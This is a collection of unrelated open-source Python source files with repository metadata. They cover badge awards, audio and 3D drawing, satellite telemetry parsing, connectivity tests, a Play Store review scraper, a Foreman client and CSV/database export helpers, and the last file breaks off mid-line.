from sugar.datastore import datastore from datetime import date import json import os class badges: def __init__(self, activity, bundle_id): self._id = bundle_id ds_objects, num_objects = datastore.find({'activity': activity, 'has_badges': True}) # Path for all badges badge_path = os.path.expanduser('~/.local/share/badges') # Creates a new directory for badges if one doesn't exist try: os.makedirs(badge_path) # Directory already exists except OSError: pass # Destination path for the activity's badges dest = os.path.join(badge_path, self._id) # Source path for the activity's local badges source = os.path.abspath('badges/') # Create a new directory for badges for this activity if none exist try: if not os.path.exists(dest): os.symlink(source, dest) # Directory already exists except OSError: pass # Create a datastore object for this activity if one doesn't exist if not ds_objects: self._list = datastore.create() self._list.metadata['activity'] = activity self._list.metadata['has_badges'] = 'True' self._list.metadata['badge_list'] = json.dumps({}) datastore.write(self._list) else: self._list = ds_objects[0] def award(self, name, description): """ Awards a badge in an activity :type name: string :param name: The name of the badge :type description: string :param description: The description of the badge """ badge_json = json.loads(self._list.metadata['badge_list']) # Check if the badge has already been acquired if not name in badge_json.keys(): # Generate the badge's info today = date.today() badge_info = {'name': name, 'criteria': description, 'time': today.strftime("%m/%d/%y"), 'bundle_id': self._id} badge_json[name] = badge_info # Save the new badge info to the DS object self._list.metadata['badge_list'] = json.dumps(badge_json) datastore.write(self._list)
FOSSRIT/lemonade-stand
badges.py
Python
gpl-3.0
2,392
from ..audio_tools import AudioBlock, AudioFileBlock from ..commons import draw_utils import numpy class AVBase(object): DONT_PLAY_AUDIO = True def __init__(self): self.av_filename = None self.time_pos = 0. self.audio_active = True self.duration = 0 def set_av_filename(self, av_filename): if av_filename != self.av_filename: self.last_played_at = 0 self.av_filename = av_filename def get_duration(self): return self.duration def get_av_filename(self): return self.av_filename def set_time_pos(self, time_pos, prop_data): self.time_pos = time_pos def draw_for_time_slice(self, ctx, filename, visible_time_span, time_slice, time_slice_box, pixel_per_second): audio_block = AudioFileBlock.get_for_filename(filename) if not isinstance(audio_block.samples, numpy.ndarray): return diff_value = abs(time_slice.end_value - time_slice.start_value) if diff_value ==0: diff_value = 0.001 slice_scale = time_slice.duration/diff_value if slice_scale == 0: return time_start = time_slice.start_value + visible_time_span.start/slice_scale time_end = min(time_slice.end_value, (time_slice.start_value+visible_time_span.end/slice_scale)) t_step = 1./(slice_scale*visible_time_span.scale*pixel_per_second) t_step = max((time_end-time_start)/1000., t_step) t = time_start ctx.save() time_slice_box.pre_draw(ctx) ctx.scale(pixel_per_second, time_slice_box.height) ctx.scale(slice_scale, 1) ctx.translate(-time_slice.start_value, 0) wave_started = False while t<time_end: c = int(t*AudioBlock.SampleRate) if c>=audio_block.samples.shape[0]: break sample = audio_block.samples[c,:] if sample is None: break if not wave_started: wave_started = True ctx.move_to(t, .5-sample[0]/2) else: ctx.line_to(t, .5-sample[0]/2) t += t_step ctx.restore() draw_utils.draw_stroke(ctx, 1, "000000")
sujoykroy/motion-picture
editor/MotionPicture/shapes/av_base.py
Python
gpl-3.0
2,279
import numpy from .object3d import Object3d from .texture_map_color import TextureMapColor from .misc import * from .draw_utils import * from .colors import Color from xml.etree.ElementTree import Element as XmlElement class Polygon3d(Object3d): TAG_NAME = "pl3" Items = [] def __init__(self, parent, point_indices, temporary=False, closed=True, kind="linear", border_color="000000", fill_color="CCCCCC", border_width=1): super(Polygon3d, self).__init__() self.border_color = copy_value(border_color) self.fill_color = copy_value(fill_color) self.border_width = border_width self.parent = parent self.kind = kind self.point_indices = list(point_indices) self.closed = closed self.z_depths = dict() self.plane_params = dict() self.bounding_rect = dict() self.plane_params_normalized = dict() self.plane_normals = dict() if not temporary: Polygon3d.Items.append(self) def copy(self): newob = Polygon3d( parent=None, point_indices=self.point_indices, closed=self.closed, border_color=copy_value(self.border_color), fill_color=copy_value(self.fill_color), border_width=self.border_width) self.copy_into(newob) return newob def get_xml_element(self): elm = XmlElement(self.TAG_NAME) self.load_xml_elements(elm) if not self.closed: elm.attrib["closed"] = "0"; point_indices_elm = XmlElement("pi") point_indices_elm.text = ",".join(str(p) for p in self.point_indices) elm.append(point_indices_elm) return elm @classmethod def create_from_xml_element(cls, elm): border_color = color_from_text(elm.attrib.get("bc", None)) fill_color = color_from_text(elm.attrib.get("fc", None)) border_width = elm.attrib.get("border_width", None) if border_width is not None: border_width = float(border_width) point_indices = [int(p) for p in elm.find("pi").text.split(",")] newob = cls(parent=None, point_indices=point_indices, border_color=border_color, fill_color=fill_color, border_width=border_width) newob.load_from_xml_elements(elm) return newob def get_z_cut(self, camera, x, y): plane_params =self.plane_params[camera] if plane_params is None: return 10000 if plane_params[2] == 0: return 10000 return (-plane_params[3]-plane_params[0]*x-plane_params[1]*y)/plane_params[2] def build_projection(self, camera): world_point_values = self.parent.world_point_values[self.point_indices] camera_point_values = camera.forward_transform_point_values(world_point_values)[:, :3] self.z_depths[camera] = numpy.amax(camera_point_values[:,2]) if camera_point_values.shape[0]>2: ab = camera_point_values[1, :]-camera_point_values[0, :] bc = camera_point_values[2, :]-camera_point_values[0, :] abc = numpy.cross(ab, bc) d = -numpy.dot(abc,camera_point_values[0, :]) self.plane_params[camera] = numpy.append(abc, d) self.plane_params_normalized[camera] = numpy.array([ -abc[0]/abc[2], -abc[1]/abc[2], -d/abc[2] ]) self.plane_normals[camera] = abc/numpy.linalg.norm(abc) else: self.plane_params[camera] = None self.plane_params_normalized[camera] = numpy.array([ 0, 0, 0 ]) self.plane_normals[camera] = numpy.zeros(3) camera_point_values = camera.viewer_point_values(camera_point_values) self.bounding_rect[camera] = [ numpy.min(camera_point_values, axis=0), numpy.max(camera_point_values, axis=0), ] def get_points(self): return self.parent.world_point_values[self.point_indices] def get_camera_points(self, camera): world_point_values = self.parent.world_point_values[self.point_indices] return camera.forward_transform_point_values(world_point_values) def draw_path(self, ctx, camera): projected_values = self.parent.point_projections[camera][self.point_indices, :] ctx.new_path() for i in range(projected_values.shape[0]): values = projected_values[i] if i == 0: ctx.move_to(values[0], values[1]) else: ctx.line_to(values[0], values[1]) if self.closed: ctx.line_to(projected_values[0][0], projected_values[0][1]) def draw(self, ctx, camera, border_color=None, border_width=-1): if not border_color: border_color = self.border_color parent = self.parent while border_color is None and parent is not None: border_color = parent.border_color parent = parent.parent if border_width == -1: border_width = self.border_width parent = self.parent while border_width is None and parent is not None: border_width = parent.border_width parent = parent.parent fill_color = self.fill_color parent = self.parent while fill_color is None and parent is not None and hasattr(parent, "fill_color"): fill_color = parent.fill_color parent = parent.parent if fill_color is not None: if isinstance(fill_color, TextureMapColor): #border_color = "000000" fill_color.build() projected_values = self.parent.point_projections[camera][self.point_indices, :] orig_projected_values=projected_values orig_texcoords = fill_color.texcoords[0] if orig_projected_values.shape[0] == 3: point_count = orig_projected_values.shape[0]-2 else: point_count = orig_projected_values.shape[0]-2 for oi in range(0, orig_projected_values.shape[0]-1, 2): projected_values=orig_projected_values[oi:oi+3, :] texcoords = orig_texcoords[oi:oi+3, :] if oi+2 == orig_projected_values.shape[0]: projected_values = numpy.concatenate( (projected_values, [orig_projected_values[0, :]]), axis=0) texcoords = numpy.concatenate( (texcoords, [orig_texcoords[0, :]]), axis=0) avg_projected_values = numpy.average(projected_values, axis=0) projected_values = numpy.concatenate(( projected_values, numpy.array([numpy.ones(projected_values.shape[0], dtype="f")]).T ), axis=1) nmtrx = numpy.matmul(projected_values.T, numpy.linalg.inv(texcoords.T)) mtrx = cairo.Matrix(xx=float(nmtrx[0][0]), xy=float(nmtrx[0][1]), x0=float(nmtrx[0][2]), yx=float(nmtrx[1][0]), yy=float(nmtrx[1][1]), y0=float(nmtrx[1][2])) ctx.save() ctx.set_matrix(mtrx.multiply(ctx.get_matrix())) ctx.set_source_surface(fill_color.get_surface()) ctx.get_source().set_filter(cairo.FILTER_FAST) ctx.new_path() for i in range(texcoords.shape[0]): values = texcoords[i] if i == 0: ctx.move_to(values[0], values[1]) else: ctx.line_to(values[0], values[1]) ctx.line_to(texcoords[0][0], texcoords[0][1]) ctx.clip() ctx.paint() #avg_tex_values = numpy.average(texcoords, axis=0) #draw_text(ctx, text_color="FF00FF", font_name="50", # x=avg_tex_values[0], # y=avg_tex_values[1], # text="{0}".format(self.id_num), #) ctx.restore() #draw_stroke(ctx, border_width, border_color) #border_color = None else: ctx.save() self.draw_path(ctx, camera) ctx.restore() draw_fill(ctx, fill_color) if border_color is not None and border_width is not None: ctx.save() self.draw_path(ctx, camera) ctx.restore() mat = ctx.get_matrix() ctx.set_matrix(cairo.Matrix()) draw_stroke(ctx, border_width, border_color) ctx.set_matrix(mat) if False: for point_index in self.point_indices: proj_value = self.parent.point_projections[camera][point_index, :] ctx.save() ctx.arc(proj_value[0], proj_value[1], 2, 0, 2*math.pi) ctx.restore() draw_stroke(ctx, 1, "FF4400") @classmethod def create_if_needed(cls, parent, data): if data is None or isinstance(data, Polygon3d): return data return Polygon3d(parent=parent, point_indices=data)
sujoykroy/motion-picture
editor/MotionPicture/commons/polygon3d.py
Python
gpl-3.0
9,463
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright 2020 Daniel Estevez <[email protected]> # # This file is part of gr-satellites # # SPDX-License-Identifier: GPL-3.0-or-later # # This is based on the telemetry parser from # https://github.com/danalvarez/gr-quetzal1/blob/master/apps/quetzal1_parse.py from construct import * from ..adapters import * from .ax25 import Header as AX25Header from .csp import CSPHeader CDHS = Struct( 'rtc_hour' / Int8ub, 'rtc_min' / Int8ub, 'rtc_sec' / Int8ub, 'rtc_day' / Int8ub, 'rtc_month' / Int8ub, 'rtc_year' / Int8ub, 'adm_status' / Hex(Int8ub), 'eps_status' / Hex(Int8ub), 'htr_status' / Hex(Int8ub), 'adcs_status' / Hex(Int8ub), 'pld_status' / Hex(Int8ub), 'adm_reset_counter' / Int8ub, 'eps_reset_counter' / Int8ub, 'adcs_reset_counter1' / Int8ub, # software reset counter 'adcs_reset_counter2' / Int8ub, # hardware reset counter 'comm_reset_counter' / Int8ub, 'reset_counter' / Int16ub ) INA260 = Struct( 'voltage' / LinearAdapter(1/0.01785, Int8ub), 'current' / LinearAdapter(1/0.6109, Int16ub) ) FaultFlags = BitStruct( # bits 0, 1, 2, 3 = overcurrent flags; # bits 4, 5, 6, 7 = short circuit flags. # bits 0,4 = ADCS # bits 1,5 = COMMS # bits 2,6 = PLD # bits 3,7 = HEATER 'heater_short_circuit' / Flag, 'pld_short_circuit' / Flag, 'comms_short_circuit' / Flag, 'adcs_short_circuit' / Flag, 'heater_overcurrent' / Flag, 'pld_overcurrent' / Flag, 'comms_overcurrent' / Flag, 'adcs_overcurrent' / Flag ) CTFlags = BitStruct( Padding(3), # bit0 = INA260 1, bit1 = INA260 2, bit2 = INA260 3, # bit3 = BQ27441, bit4 = TMP100 'TMP100' / Flag, 'BQ27441' / Flag, 'INA260_3' / Flag, 'INA260_2' / Flag, 'INA260_1' / Flag ) EPS = Struct( # TMP100 'tmp' / AffineAdapter(1/0.377, 25/0.377, Int8ub), # BQ27441 No. 1 'SoC' / Int8ub, 'bat_voltage' / AffineAdapter(1/7.9681, -2492.0319/7.9681, Int8ub), 'ave_current' / AffineAdapter(1/1.2219, 2500/1.2219, Int16ub), 'remaining_capacity' / LinearAdapter(1/0.97752, Int16ub), 'ave_power' / AffineAdapter(1/4.1544, 8500/4.1544, Int16ub), 'SoH' / Int8ub, # INA260 No. 1 'ina260' / INA260[3], # Subsystem Currents 'ADCS_current' / Int16ub, 'COMM_current' / Int16ub, 'PLD_current' / Int16ub, 'HTR_current' / Int16ub, # Overcurrent and Short Circuit Flags 'fault_flags' / FaultFlags, # Communication and Transmission Flags 'comm_flag' / CTFlags, 'trans_flag' / CTFlags ) ADCSFlags = BitStruct( # bit0 = BNO055, bit1 = ADC1, bit2 = ADC2, bit3 = TMP100 Padding(4), 'TMP100' / Flag, 'ADC2' / Flag, 'ADC1' / Flag, 'BNO055' / Flag ) ADCS = Struct( # BNO055 Gyroscope 'gyr' / AffineAdapter(1.275, 127.5, Int8ub)[3], # BNO055 Magnetometer 'mag_x' / AffineAdapter(8192.0/325, 65536.0/2, Int16ub), 'mag_y' / AffineAdapter(8192.0/325, 65536.0/2, Int16ub), 'mag_z' / AffineAdapter(8192.0/625, 65536.0/2, Int16ub), # ADC No. 1 'adc' / LinearAdapter(77.27, Int8ub)[12], # Temperature Sensors 'bno_temp' / Int8sb, 'tmp100' / Int16sb, # Communication and Transmission Flags 'flags' / ADCSFlags ) Comm = Struct( 'package_counter' / Int32ub ) PLD = Struct( 'operation' / Hex(Int8ub), 'picture_counter' / Int16ub ) RamParams = Struct( 'cdhs_cycle_time' / Int8ub, 'cdhs_wdt_time' / Int8ub, 'adm_soc_lim' / Int8ub, 'adcs_soc_lim' / Int8ub, 'comm_soc_lim' / Int8ub, 'pld_soc_lim' / Int8ub, 'htr_cycle_time' / Int8ub, 'htr_on_time' / Int8ub, 'htr_off_time' / Int8ub, 'adm_cycle_time' / Int8ub, 'adm_burn_time' / Int8ub, 'adm_max_cycles' / Int8ub, 'adm_wait_time' / Int8ub[2], 'adm_enable' / Int8ub, 'comm_cycle_time' / Int8ub, 'pld_cycle_time' / Int8ub, 'pld_op_mode' / Int8ub, 'cam_res' / Int8ub, 'cam_expo' / Int8ub, 'cam_pic_save_time' / Int8ub, 'pay_enable' / Int8ub ) telemetry = Struct( 'identifier' / Bytes(8), 'CDHS' / CDHS, 'EPS' / EPS, 'ADCS' / ADCS, 'Comm' / Comm, 'PLD' / PLD, 'ram_params' / RamParams, 'uvg_message' / Bytes(27) ) ack = Struct( 'ack' / Int8ub[2] ) flash_params = Struct( 'flash_params' / RamParams[2] ) image_data = Struct( 'image_data' / Bytes(232) ) quetzal1 = Struct( 'ax25_header' / AX25Header, 'csp_header' / CSPHeader, 'payload' / Select(image_data, telemetry, flash_params, ack) )
daniestevez/gr-satellites
python/telemetry/quetzal1.py
Python
gpl-3.0
4,647
"""Test fonctional connectivity related functions.""" import numpy as np from brainpipe.connectivity import (sfc, directional_sfc, dfc, directional_dfc, fc_summarize) class TestFc(object): # noqa sfcm = ['corr', 'mtd', 'cmi'] def _generate_arrays(self, n, phi=0): ts_1 = np.random.rand(10, n, 20) ts_1[0, :, 4] = self._generate_sine(n, 0) ts_2 = np.random.rand(10, n, 20) ts_2[0, :, 4] = self._generate_sine(n, phi) return ts_1, ts_2 def _generate_sine(self, n, phi, noise=0.): sf = 256 f = 2. t = np.arange(n) / sf return np.sin(f * np.pi * 2 * t + phi) + noise * np.random.rand(n) def test_sfc(self): # noqa ts_1, ts_2 = self._generate_arrays(100) _sfc = [sfc(ts_1, ts_2, axis=1, measure=k)[0] for k in self.sfcm] for k in _sfc: max_ = np.r_[np.where(k == k.max())] assert np.all(max_ == np.array([0, 4])) def test_directional_sfc(self): # noqa ts_1, ts_2 = self._generate_arrays(200, -np.pi / 2) lags = np.arange(0, 2 * np.pi, np.pi / 2) lags = (256. * lags / (2 * np.pi * 2.)).astype(int) for m in self.sfcm: _sfc = np.zeros((len(lags), 10, 20)) for k, l in enumerate(lags): _sfc[k, ...] = directional_sfc(ts_1, ts_2, l, axis=1, measure=m)[0] # Find the maximum : max_ = np.where(_sfc[:, 0, 4] == _sfc[:, 0, 4].max())[0] assert float(max_) == 1. def test_dfc(self): # noqa ts_1, ts_2 = self._generate_arrays(100) _sfc = [dfc(ts_1, ts_2, 10, axis=1, measure=k)[0] for k in self.sfcm] for k in _sfc: max_ = np.r_[np.where(k.mean(1) == k.mean(1).max())] assert np.all(max_ == np.array([0, 4])) def test_directional_dfc(self): # noqa ts_1, ts_2 = self._generate_arrays(100, -np.pi / 2) for m in self.sfcm: directional_dfc(ts_1, ts_2, 50, 10, axis=1, measure=m) def test_fc_summarize(self): # noqa ts_1, ts_2 = self._generate_arrays(1000) _dfc, _pvals, _ = dfc(ts_1, ts_2, 100, axis=1, measure='corr') idx = [] # STD : std = fc_summarize(_dfc, 1, 'std') idx += [np.r_[np.where(std == std.min())]] # MEAN : mean = fc_summarize(_dfc, 1, 'mean') idx += [np.r_[np.where(mean == mean.max())]] # L2 : mean = fc_summarize(_dfc, 1, 'l2') idx += [np.r_[np.where(mean == mean.max())]] # COEFVAR : coefvar = fc_summarize(_pvals, 1, 'coefvar') idx += [np.r_[np.where(coefvar == coefvar.min())]] for k in idx: assert np.all(k == np.array([0, 4]))
EtienneCmb/brainpipe
brainpipe/connectivity/tests/test_fc.py
Python
gpl-3.0
2,810
#!/usr/bin/env python3 from setuptools import setup, find_packages from trackma import utils try: LONG_DESCRIPTION = open("README.md").read() except IOError: LONG_DESCRIPTION = __doc__ NAME = "Trackma" REQUIREMENTS = [] EXTRA_REQUIREMENTS = { 'curses': ['urwid'], 'GTK': ['pygobject'], 'Qt': [], } setup( name=NAME, version=utils.VERSION, packages=find_packages(), install_requires=REQUIREMENTS, extras_require=EXTRA_REQUIREMENTS, package_data={'trackma': ['data/*', 'data/anime-relations/*.txt', 'ui/gtk/data/*']}, author='z411', author_email='[email protected]', description='Open multi-site list manager', long_description=LONG_DESCRIPTION, long_description_content_type='text/markdown', url='https://github.com/z411/trackma', keywords='list manager, curses, gtk, qt, myanimelist, hummingbird, vndb', license="GPL-3", entry_points={ 'console_scripts': [ 'trackma = trackma.ui.cli:main', 'trackma-curses = trackma.ui.curses:main [curses]', ], 'gui_scripts': [ 'trackma-gtk = trackma.ui.gtk:main [GTK]', 'trackma-qt = trackma.ui.qt:main [Qt]', 'trackma-qt4 = trackma.ui.qt.qt4:main [Qt4]', ] }, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: End Users/Desktop', 'Topic :: Internet', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Operating System :: POSIX', 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)', ] )
z411/trackma
setup.py
Python
gpl-3.0
1,685
#!/usr/bin/env python """ crate_anon/tools/celery_status.py =============================================================================== Copyright (C) 2015-2021 Rudolf Cardinal ([email protected]). This file is part of CRATE. CRATE is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. CRATE is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with CRATE. If not, see <https://www.gnu.org/licenses/>. =============================================================================== **Show the status of CRATE Celery processes.** """ import argparse import subprocess from crate_anon.crateweb.config.constants import CRATEWEB_CELERY_APP_NAME def main() -> None: """ Command-line parser. See command-line help. """ parser = argparse.ArgumentParser( description="Show status of CRATE Celery processes, by calling Celery." ) parser.parse_args() cmdargs = [ "celery", "status", "-A", CRATEWEB_CELERY_APP_NAME, ] subprocess.call(cmdargs) if __name__ == '__main__': main()
RudolfCardinal/crate
crate_anon/tools/celery_status.py
Python
gpl-3.0
1,517
import argparse import sys import time import re import requests from bs4 import BeautifulSoup from review import Review def get_playstore_review_by_appid(appid, iter, sortOrder): ''' Returns a list of reviews for an app in playstore. Each review is a object having below attributes: 1. 'author_name' : The name of reviewer 2. 'review_rating' : The rating given by reviewer 3. 'review_date' : The date of review posted 4. 'review_text' : The actual text content of review ''' page_num = 0 review_count = 0 corpus = [] for i in range(iter): payload = {'reviewType': '0', 'pageNum': page_num, 'id': appid, 'reviewSortOrder': sortOrder, # Newest : 0, Rating: 1, Helpfullnew : 2 'xhr': 1, 'hl': 'en' } headers = {'Host': 'play.google.com', 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0', # 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36', 'Connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded;charset=ISO-8859-1', 'Referer': 'https://play.google.com/store/apps/details?id=' + appid, 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5', 'Accept': '*/*' } time.sleep(REQUEST_DELAY_TIME) # s = requests.Session() proxies = { 'http': 'socks5://127.0.0.1:9050', 'https': 'socks5://127.0.0.1:9050' } r = requests.post("https://play.google.com/store/getreviews?authuser=0", headers=headers, proxies=proxies, data=payload) if r.status_code == 200: if r.text != '': resp_text = (r.text).replace('\\u003c', '<'). \ replace('\\u003d', '='). \ replace('\\u003e', '>'). \ replace('\\u0026amp;', '&'). \ replace('\\"', '"') ugly_prefix_index = resp_text.find('<div') html_doc = resp_text[ugly_prefix_index:].strip(']').strip() if html_doc != '': soup = BeautifulSoup(html_doc, 'html.parser') review_div_list = soup.find_all('div', class_='single-review') for review_div in review_div_list: author_name_tag = review_div.find("span", class_='author-name') review_date_tag = review_div.find("span", class_='review-date') review_rating_tag = review_div.find("div", class_='star-rating-non-editable-container') review_div.find("div", class_="review-link").clear() review_text_tag = review_div.find("div", class_='review-body') author_name = author_name_tag.get_text().strip() review_date = review_date_tag.get_text().strip() review_text = review_text_tag.get_text().strip() review_text = ' '.join(review_text.split()) #review_text = re.sub(r'[^\x00-\x7F]+', r'', review_text) # use it to convert into all ascii code review_rating = review_rating_tag['aria-label'].strip() review = Review(appid, author_name, review_rating, review_date, review_text) corpus.append(str(review)) review_count += 1 else: # html has some content break # else no review else: # returned response has some content break # else no review else: # status code != 200 if r.status_code == 400: # if page not found break # no more reviews else: # else something bad happened. show status code sys.stdout.write("Something bad happened! status code - %d" % r.status_code) sys.exit(STATUS_CODE_NOT_200) page_num += 1 sys.stdout.write('\r Iterations Completed: %s' % str(page_num)) sys.stdout.write('\n No more reviews found! Total %s reviews added.' % str(review_count)) return corpus def main(args): if not args.appid: sys.stdout.write('app id not given. exiting!') sys.exit(APP_ID_NOT_GIVEN) appid = args.appid if args.appid else sys.stdout.write('app id not given! exiting..\n') iters = args.iters if args.iters else 1000 order_by = args.order_by if args.order_by else 0 REQUEST_DELAY_TIME = args.request_delay_time if args.request_delay_time else 0 corpus = get_playstore_review_by_appid(appid, iters, order_by) filename = '%s-reviews.txt' % appid.replace('.', '_') with open(filename, mode='w', encoding='utf-8') as f: # json.dump(corpus, f) f.write('\n'.join(corpus)) if __name__ == "__main__": APP_ID_NOT_GIVEN = 1 STATUS_CODE_NOT_200 = 2 REQUEST_DELAY_TIME = 0 parser = argparse.ArgumentParser(description='Get playstore reviews for an app') parser.add_argument('--appid', action='store', dest='appid', type=str, help='app id (mandatory)') parser.add_argument('--iters', action='store', dest='iters', type=int, help='An integer specifying number of iterations to fetch reviews. Default: All') parser.add_argument('--orderby', action='store', dest='order_by', type=int, help='Fetch reviews ordered by: 0 for Newest, 1 for Rating, 2 for Helpfulness. Default 0') parser.add_argument('-d', action='store', dest='request_delay_time', type=float, help='Delay in seconds before making new network page request') args = parser.parse_args() main(args)
skumarlabs/Review_Miner
Review_Miner/spiders/playstore_reviews.py
Python
gpl-3.0
6,073
from django import template from django.utils.safestring import mark_safe import logging import markdown register = template.Library() @template.defaultfilters.stringfilter @register.filter def collapse(input): return ' '.join(input.split()) @register.filter def can_edit_post(user, post): return user.can_edit_post(post) @register.filter def decorated_int(number, cls="thousand"): try: number = int(number) # allow strings or numbers passed in if number > 999: thousands = float(number) / 1000.0 format = "%.1f" if number < 99500 else "%.0f" s = format % thousands return mark_safe("<span class=\"%s\">%sk</span>" % (cls, s)) return number except: return number @register.filter def or_preview(setting, request): if request.user.is_superuser: previewing = request.session.get('previewing_settings', {}) if setting.name in previewing: return previewing[setting.name] return setting.value @register.filter def getval(map, key): return map and map.get(key, None) or None @register.filter def contained_in(item, container): return item in container @register.filter def static_content(content, render_mode): if render_mode == 'markdown': return mark_safe(markdown.markdown(unicode(content), ["settingsparser"])) elif render_mode == "html": return mark_safe(unicode(content)) else: return unicode(content)
CLLKazan/iCQA
qa-engine/forum/templatetags/extra_filters.py
Python
gpl-3.0
1,493
#!/usr/bin/python # -*- coding: utf8 -*- import sys import logging import log from foremanclient.validator import Validator from foreman.client import Foreman, ForemanException from pprint import pprint class ForemanBase: def __init__(self, config, loglevel=logging.INFO): logging.basicConfig(level=loglevel) self.config = config['foreman'] self.loglevel = loglevel self.validator = Validator() def get_config_section(self, section): try: cfg = self.config[section] except: cfg = [] return cfg def connect(self): try: logging.disable(logging.WARNING) self.fm = Foreman(self.config['auth']['url'], (self.config['auth']['user'], self.config['auth']['pass']), api_version=2, use_cache=False, strict_cache=False) # this is nescesary for detecting faulty credentials in yaml self.fm.architectures.index() logging.disable(self.loglevel-1) except: log.log(log.LOG_ERROR, "Cannot connect to Foreman-API") sys.exit(1) def get_api_error_msg(self, e): dr = e.res.json() try: msg = dr['error']['message'] except KeyError: msg = dr['error']['full_messages'][0] return msg def get_host(self, host_id): host = self.fm.hosts.show(id=host_id) return host def remove_host(self, host_id): try: self.fm.hosts.destroy(id=host_id) return True except: return False def dict_underscore(self, d): new = {} for k, v in d.iteritems(): if isinstance(v, dict): v = self.dict_underscore(v) new[k.replace('-', '_')] = v return new def dict_dash(self, d): new = {} for k, v in d.iteritems(): if isinstance(v, dict): v = self.dict_dash(v) new[k.replace('_', '-')] = v return new def filter_dump(self, dump, wanted_keys): ret = {} dd = self.dict_dash(dump) for setting in dd: if setting in wanted_keys: value = dd[setting] if value is None or value=='': continue ret[setting] = value return ret def get_audit_ip(self, host_id): # this is hacky right now since the audits-api has an bug and does not return any audits whe passing host_id # host_audits = self.fm.hosts.audits_index(auditable_id=80) #ha = self.fm.hosts.index(auditable_id=81) host_audits = [] host_ip = False all_audits = self.fm.audits.index(per_page=99999)['results'] # get audits of specified host for audit in all_audits: if ( audit['auditable_type'] == 'Host') and (audit['auditable_id'] == host_id): host_audits.append(audit) # search for audit type audited_changes['build'] for audit in host_audits: if 'installed_at' in audit['audited_changes']: try: ll = len(audit['audited_changes']['installed_at']) host_ip = audit['remote_address'] return host_ip except: pass # nothing found, return False return False
invicnaper/foreman-ansible-postgres
roles/foreman_yml/files/foreman-yml/foremanclient/__init__.py
Python
gpl-3.0
3,402
#coding:utf8 ''' csv模块测试文件 ''' import re import csv import json import redis import copy import MySQLdb from urlparse import urlparse import pymongo def csv_write(info_list, file_name='', is_dict=True): ''' writer 根据字典列表写入csv 可处理csv_write_dic()能处理的格式 [{a:1, b:2}, {a:2, b:3}] 还可处理非字典形式 [(1,2),(2,3)] ''' if not file_name: file_name = 'test.csv' writer = csv.writer(open(file_name,"wb")) if isinstance(info_list, dict): info_list = [info_list] if is_dict: keys = info_list[0].keys() #写入第一行 writer.writerow(keys) code = compile("line = [info.get(key,'') for key in keys]", "", "exec") else: code = compile("line = list(info)", "", "exec") for info in info_list: exec code writer.writerow(line) return def csv_write_dic(dic_list, file_name=''): ''' DictWriter 根据字典列表写入csv 只能处理 [{a:1, b:2}, {a:2, b:3}] ''' if not file_name: file_name = 'test.csv' if isinstance(dic_list, (dict)): dic_list = [dic_list] keys = dic_list[0].keys() #初始化 writer = csv.DictWriter(open(file_name,"wb"), fieldnames=keys, dialect='excel') #写入第一行 writer.writerow({key:key for key in keys}) #写入字典列表 writer.writerows(dic_list) return def csv_write_from_txt(input_filename, out_filename, split_str='\t'): ''' 将给定文件中变为csv ''' with open(input_filename,"r") as f: infos = f.readlines() infos = [x.replace("\n","").replace("\r","").split(split_str) for x in infos] keys = range(len(infos[0])) dics = [dict(zip(keys, x)) for x in infos] csv_write_dic(dics, out_filename) return def csv_read(file_name): ''' reader ''' if not file_name: file_name = 'test.csv' lis = [] reader = csv.reader(open(file_name,"rb")) for line in reader: print line break return def csv_read_dic(file_name=''): ''' DictReader ### @fieldnames : 指定读取的 fields, @restval : 指定不存在的 field 时添加默认值 默认为None @restkey : 指定多余 value 存放字段 默认为None ''' if not file_name: file_name = 'test.csv' #keys = ["aaa","bbb","ccc","ddd"] keys = [] #reader = csv.DictReader(open(file_name,"rb"), fieldnames=keys, restkey='excess_field', restval='-1') reader = csv.DictReader(open(file_name,"rb")) for line in reader: print line break return def csv_to_csv(file_name): ''' reader ''' if not file_name: file_name = 'test.csv' lis = [] reader = csv.reader(open(file_name,"rb")) #处理 lis = map(handle_list, list(reader)) csv_write(lis, "new_"+file_name, False) return def csv_to_csv_dic(file_name=''): ''' DictReader ''' if not file_name: file_name = 'test.csv' reader = csv.DictReader(open(file_name,"rb")) infos = list(reader) #处理 infos = map(handle_dict, infos) csv_write_dic(infos, file_name="new_"+file_name) return def handle_dict(dic): new_dic = {} for k,v in dic.iteritems(): #此处添加处理代码 #if k in ["TITLT", "CONTENT"]: #v = re.sub("[\n\r]", "", v) #v = re.sub("\?", "", v) v = v.decode('gbk') new_dic.update({k:v}) return new_dic def handle_list(line): new_list = [] for i in line: new_list.append(i) return new_list def get_mysql_conn(db_string): #db_string = 'mysql://user:passwd@host:port/db?charset=utf8' par = urlparse(db_string) try: args = dict([tuple(x.split('=')) for x in par.query.split('&')]) except: args = {} mysql_conn = MySQLdb.connect( host = par.hostname, user = par.username, passwd = par.password, db = par.path.strip('/'), charset = args.get('charset', 'utf8') ) return mysql_conn, mysql_conn.cursor(cursorclass=MySQLdb.cursors.DictCursor) def mysql_to_csv(): '''mysql直接转为csv''' #db_string = 'mysql://user:passwd@host:port/db?charset=utf8' db_string = 'mysql://root:123456&&&&@192.168.1.1:3306/test1?charset=utf8' conn, cursor = get_mysql_conn(db_string) sql = 'select * from test' cursor.execute(sql) infos = cursor.fetchall() #对mysql数据做处理后写入csv #infos = [handle_dict(info) for info in infos] infos = map(handle_dict, infos) csv_write_dic(infos, file_name='aaa.csv') conn.close() cursor.close() return def redis_to_csv(): import redis import json conn = redis.StrictRedis.from_url('redis://192.168.1.1/0') keys = ['data_test'] for key in keys: filename = key + '.csv' infos = conn.lrange(key, 0, -1) infos = [json.loads(x) for x in infos] infos = 